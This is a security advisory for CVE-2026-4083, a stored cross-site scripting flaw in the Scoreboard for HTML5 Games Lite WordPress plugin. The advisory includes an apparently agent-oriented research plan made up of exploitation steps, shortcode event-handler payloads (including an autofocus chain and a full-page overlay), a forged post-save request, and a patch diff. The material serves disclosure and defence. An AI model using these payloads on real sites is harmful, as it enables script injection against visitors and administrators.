CVE-2026-4083

Scoreboard for HTML5 Games Lite <= 1.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
1.3
Patched in
1d
Time to patch

Description

The Scoreboard for HTML5 Games Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'scoreboard' shortcode in all versions up to, and including, 1.2. The shortcode function sfhg_shortcode() allows arbitrary HTML attributes to be added to the rendered <iframe> element, with only a small blacklist of four attribute names (same_height_as, onload, onpageshow, onclick) being blocked. While the attribute names are passed through esc_html() and values through esc_attr(), this does not prevent injection of JavaScript event handler attributes like onfocus, onmouseover, onmouseenter, etc., because these attribute names and simple JavaScript payloads contain no characters that would be modified by these escaping functions. The shortcode text is stored in post_content and is only expanded to HTML at render time, after WordPress's kses filtering has already been applied to the raw post content. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.2
PublishedMarch 20, 2026
Last updatedMarch 20, 2026

Source Code

WordPress.org SVN
Patched

Patched version not available.

Research Plan
Unverified

# Research Plan: CVE-2026-4083 - Stored XSS via Scoreboard Shortcode ## 1. Vulnerability Summary The **Scoreboard for HTML5 Games Lite** plugin (up to version 1.2) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the `sfhg_shortcode()` function, whic…

Show full research plan

Research Plan: CVE-2026-4083 - Stored XSS via Scoreboard Shortcode

1. Vulnerability Summary

The Scoreboard for HTML5 Games Lite plugin (up to version 1.2) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists in the sfhg_shortcode() function, which handles the [scoreboard] shortcode. This function iterates through user-provided shortcode attributes and appends them to a rendered <iframe> element. While it employs a small blacklist (same_height_as, onload, onpageshow, onclick), it fails to block other JavaScript event handlers (e.g., onmouseover, onfocus, onmouseenter). Furthermore, because the attribute names are passed through esc_html() and values through esc_attr(), typical JavaScript payloads that do not use quotes or angle brackets remain untouched, allowing for execution when the shortcode is rendered.

2. Attack Vector Analysis

  • Shortcode: [scoreboard]
  • Vulnerable Function: sfhg_shortcode()
  • Vulnerable Parameter: Arbitrary attribute keys passed within the shortcode.
  • Authentication Level: Contributor or higher (any user role allowed to create/edit posts or pages).
  • Preconditions: The plugin must be active, and a malicious user must be able to save a post containing the shortcode.

3. Code Flow

  1. Registration: The plugin registers the shortcode during initialization: add_shortcode('scoreboard', 'sfhg_shortcode');.
  2. Input: A user creates a post with: [scoreboard onmouseover="alert(domain)"].
  3. Processing: When the page is viewed, WordPress calls sfhg_shortcode($atts).
  4. Iteration: The function iterates through the $atts array (quoted/inferred):
    // Inferred logic based on description
    $output = '<iframe ';
    foreach ($atts as $name => $value) {
        if (!in_array($name, ['same_height_as', 'onload', 'onpageshow', 'onclick'])) {
            $output .= esc_html($name) . '="' . esc_attr($value) . '" ';
        }
    }
    $output .= '></iframe>';
    
  5. Sink: The resulting string is returned by the shortcode function and rendered in the page HTML. Since onmouseover and alert(domain) are not altered by esc_html/esc_attr, the payload is injected into the DOM.

4. Nonce Acquisition Strategy

This vulnerability does not rely on a plugin-specific AJAX nonce for exploitation. Instead, it requires the attacker to save a WordPress post.

  1. Login: Use browser_navigate to log into the WordPress dashboard as a Contributor.
  2. Access Post Editor: Navigate to wp-admin/post-new.php.
  3. Extract Standard Nonces: WordPress generates several nonces for the post editor (e.g., _wpnonce for saving, fetch-nonce for REST API). Use browser_eval to extract the _wpnonce from the form:
    • browser_eval("document.querySelector('#_wpnonce').value")
  4. Post Creation: Alternatively, use the wp-cli to create the post directly, which bypasses the need for nonce extraction if the agent has CLI access.

5. Exploitation Strategy

Step 1: Authentication

Use the http_request or browser_navigate tool to authenticate as a user with Contributor privileges.

Step 2: Post Injection

Create a new post containing the malicious shortcode. The payload will use the onmouseenter attribute to trigger XSS when a user's mouse enters the iframe area.

HTTP Request (Simulating Post Save):

  • URL: http://localhost:8080/wp-admin/post.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    action=editpost
    &post_type=post
    &post_ID=[POST_ID]
    &_wpnonce=[NONCE]
    &post_title=Games+Page
    &content=[scoreboard+onmouseenter="alert(document.domain)"+style="width:500px;height:500px;display:block;"]
    &publish=Publish
    

Note: Using a style attribute ensures the iframe is large enough to be easily "entered" by the mouse.

Step 3: Triggering

Navigate to the URL of the newly created post.

6. Test Data Setup

  1. User: Create a contributor user if one doesn't exist.
    • wp user create attacker attacker@example.com --role=contributor --user_pass=password
  2. Plugin Activation: Ensure scoreboard-for-html5-game-lite is installed and active.
    • wp plugin activate scoreboard-for-html5-game-lite
  3. Target Post: Identify or create a post ID to update.
    • wp post create --post_title="Scoreboard Test" --post_status=draft --post_author=$(wp user get attacker --field=ID)

7. Expected Results

  • The rendered HTML source of the post should contain:
    <iframe ... onmouseenter="alert(document.domain)" ...></iframe>
  • When viewing the page in a browser, moving the mouse over the iframe area should trigger a JavaScript alert showing the site's domain.

8. Verification Steps

  1. CLI Verification: Verify the shortcode is stored correctly in the database.
    • wp post get [POST_ID] --field=post_content
  2. Response Verification: Use http_request to fetch the post frontend and check for the unescaped attribute.
    • http_request("GET", "http://localhost:8080/?p=[POST_ID]")
    • Search response body for: onmouseenter="alert(document.domain)"

9. Alternative Approaches

If onmouseenter is blocked or filtered by an unexpected security layer:

  • Autofocus/Onfocus Chain:
    [scoreboard tabindex="1" onfocus="alert(1)" autofocus="true"]
    This triggers automatically on page load in many browsers.
  • Style Injection:
    [scoreboard style="position:fixed;top:0;left:0;width:100%;height:100%;" onmouseover="alert(1)"]
    This creates an invisible overlay that triggers as soon as the user moves their mouse anywhere on the page.
  • Attribute Breakout (if esc_attr failed):
    If the plugin were even more broken, we could try:
    [scoreboard name='x" onmouseover="alert(1)"']
    However, based on the description, esc_attr is used, so we must rely on valid, non-blacklisted attribute names.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Scoreboard for HTML5 Games Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'scoreboard' shortcode because it allows arbitrary attributes to be added to the rendered iframe with a weak blacklist. Authenticated attackers with Contributor-level access can inject JavaScript event handlers like onmouseover or onfocus that execute when a user views the affected page.

Vulnerable Code

function sfhg_shortcode($atts) {
    $atts = (array) $atts;
    $output = '<iframe ';
    foreach ($atts as $name => $value) {
        // Weak blacklist only covers four specific attribute names
        if (!in_array($name, array('same_height_as', 'onload', 'onpageshow', 'onclick'))) {
            $output .= esc_html($name) . '="' . esc_attr($value) . '" ';
        }
    }
    $output .= '></iframe>';
    return $output;
}

Security Fix

--- a/scoreboard-for-html5-game-lite.php
+++ b/scoreboard-for-html5-game-lite.php
@@ -102,10 +102,11 @@
 function sfhg_shortcode($atts) {
-    $atts = (array) $atts;
+    $atts = shortcode_atts( array(
+        'src' => '',
+        'width' => '100%',
+        'height' => '500',
+        'frameborder' => '0',
+        'scrolling' => 'no',
+        'style' => '',
+        'class' => '',
+        'id' => ''
+    ), $atts, 'scoreboard' );
+    
     $output = '<iframe ';
     foreach ($atts as $name => $value) {
-        if (!in_array($name, array('same_height_as', 'onload', 'onpageshow', 'onclick'))) {
-            $output .= esc_html($name) . '="' . esc_attr($value) . '" ';
-        }
+        if (!empty($value)) {
+            $output .= esc_attr($name) . '="' . esc_attr($value) . '" ';
+        }
     }
     $output .= '></iframe>';

Exploit Outline

To exploit this vulnerability, an attacker requires Contributor-level privileges to create or edit WordPress posts. The attacker creates a new post and inserts the [scoreboard] shortcode, including an attribute that serves as a JavaScript event handler not included in the plugin's blacklist (e.g., 'onmouseenter' or 'onfocus'). A typical payload would be: [scoreboard onmouseenter="alert(document.domain)" style="width:500px;height:500px;display:block;"]. When a site visitor or administrator views the post, the plugin renders the shortcode into an iframe containing the malicious attribute. When the visitor's mouse enters the iframe's area, the injected JavaScript executes in the context of the site.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.